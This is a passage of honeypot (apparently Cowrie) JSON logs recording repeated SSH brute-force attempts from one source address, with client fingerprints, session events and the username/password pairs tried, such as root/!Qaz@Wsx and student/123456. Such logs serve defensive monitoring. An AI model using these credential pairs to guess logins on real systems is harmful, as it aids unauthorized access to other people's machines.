-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:05.373274Z","src_ip":"192.109.200.78","session":"19a65bb8f8f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Qaz@Wsx","message":"login attempt [root/!Qaz@Wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:05.620730Z","src_ip":"192.109.200.78","session":"19a65bb8f8f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:06.708821Z","src_ip":"192.109.200.78","session":"19a65bb8f8f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52708,"dst_ip":"10.17.0.5","dst_port":22,"session":"a65b46cbc829","protocol":"ssh","message":"New connection: 192.109.200.78:52708 (10.17.0.5:22) [session: a65b46cbc829]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:09.393642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:09.399493Z","src_ip":"192.109.200.78","session":"a65b46cbc829","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:09.502436Z","src_ip":"192.109.200.78","session":"a65b46cbc829","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"username","message":"login attempt [username/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:09.757218Z","src_ip":"192.109.200.78","session":"a65b46cbc829","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:10.843289Z","src_ip":"192.109.200.78","session":"a65b46cbc829","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52722,"dst_ip":"10.17.0.5","dst_port":22,"session":"909a290a1579","protocol":"ssh","message":"New connection: 192.109.200.78:52722 (10.17.0.5:22) [session: 909a290a1579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:13.548438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:13.552576Z","src_ip":"192.109.200.78","session":"909a290a1579","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:13.638473Z","src_ip":"192.109.200.78","session":"909a290a1579","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"neptune","password":"neptune","message":"login attempt [neptune/neptune] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:13.902540Z","src_ip":"192.109.200.78","session":"909a290a1579","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:14.989291Z","src_ip":"192.109.200.78","session":"909a290a1579","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":60872,"dst_ip":"159.203.135.109","dst_port":23,"session":"54d4cbba26de","protocol":"telnet","message":"New connection: 206.189.71.75:60872 (159.203.135.109:23) [session: 54d4cbba26de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:15.870803Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52734,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb1cf1f9e7b0","protocol":"ssh","message":"New connection: 192.109.200.78:52734 (10.17.0.5:22) [session: cb1cf1f9e7b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:17.658828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:17.763749Z","src_ip":"192.109.200.78","session":"cb1cf1f9e7b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:17.767408Z","src_ip":"192.109.200.78","session":"cb1cf1f9e7b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pouria","password":"pouria","message":"login attempt [pouria/pouria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:18.099498Z","src_ip":"192.109.200.78","session":"cb1cf1f9e7b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:19.471907Z","src_ip":"192.109.200.78","session":"cb1cf1f9e7b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":37788,"dst_ip":"159.203.135.109","dst_port":23,"session":"2099939bee67","protocol":"telnet","message":"New connection: 206.189.71.75:37788 (159.203.135.109:23) [session: 2099939bee67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:21.020770Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49076,"dst_ip":"10.17.0.5","dst_port":22,"session":"442b8701d5e2","protocol":"ssh","message":"New connection: 192.109.200.78:49076 (10.17.0.5:22) [session: 442b8701d5e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:21.741280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:21.746462Z","src_ip":"192.109.200.78","session":"442b8701d5e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:21.830008Z","src_ip":"192.109.200.78","session":"442b8701d5e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ac123456","message":"login attempt [root/Ac123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:22.088748Z","src_ip":"192.109.200.78","session":"442b8701d5e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:23.174333Z","src_ip":"192.109.200.78","session":"442b8701d5e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":42680,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bba11b84b0d","protocol":"telnet","message":"New connection: 206.189.71.75:42680 (159.203.135.109:23) [session: 7bba11b84b0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:25.131245Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49080,"dst_ip":"10.17.0.5","dst_port":22,"session":"3187f5051ed9","protocol":"ssh","message":"New connection: 192.109.200.78:49080 (10.17.0.5:22) [session: 3187f5051ed9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:25.938443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:25.944429Z","src_ip":"192.109.200.78","session":"3187f5051ed9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:26.030469Z","src_ip":"192.109.200.78","session":"3187f5051ed9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:26.290514Z","src_ip":"192.109.200.78","session":"3187f5051ed9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:27.381960Z","src_ip":"192.109.200.78","session":"3187f5051ed9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53844,"dst_ip":"10.17.0.5","dst_port":22,"session":"65c5e00d3260","protocol":"ssh","message":"New connection: 192.109.200.78:53844 (10.17.0.5:22) [session: 65c5e00d3260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:30.020975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:30.050212Z","src_ip":"192.109.200.78","session":"65c5e00d3260","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:30.251706Z","src_ip":"192.109.200.78","session":"65c5e00d3260","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apollo","password":"apollo","message":"login attempt [apollo/apollo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:30.537571Z","src_ip":"192.109.200.78","session":"65c5e00d3260","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:31.628027Z","src_ip":"192.109.200.78","session":"65c5e00d3260","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53856,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2ab8c38435b","protocol":"ssh","message":"New connection: 192.109.200.78:53856 (10.17.0.5:22) [session: c2ab8c38435b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:34.238164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:34.243369Z","src_ip":"192.109.200.78","session":"c2ab8c38435b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.67480754852295,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:34.268810Z","src_ip":"206.189.71.75","session":"05045d4ed9cc","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:34.325358Z","src_ip":"192.109.200.78","session":"c2ab8c38435b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:34.580077Z","src_ip":"192.109.200.78","session":"c2ab8c38435b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:35.665359Z","src_ip":"192.109.200.78","session":"c2ab8c38435b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51612,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5c721c71907","protocol":"ssh","message":"New connection: 192.109.200.78:51612 (10.17.0.5:22) [session: a5c721c71907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:38.465027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:38.469755Z","src_ip":"192.109.200.78","session":"a5c721c71907","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sh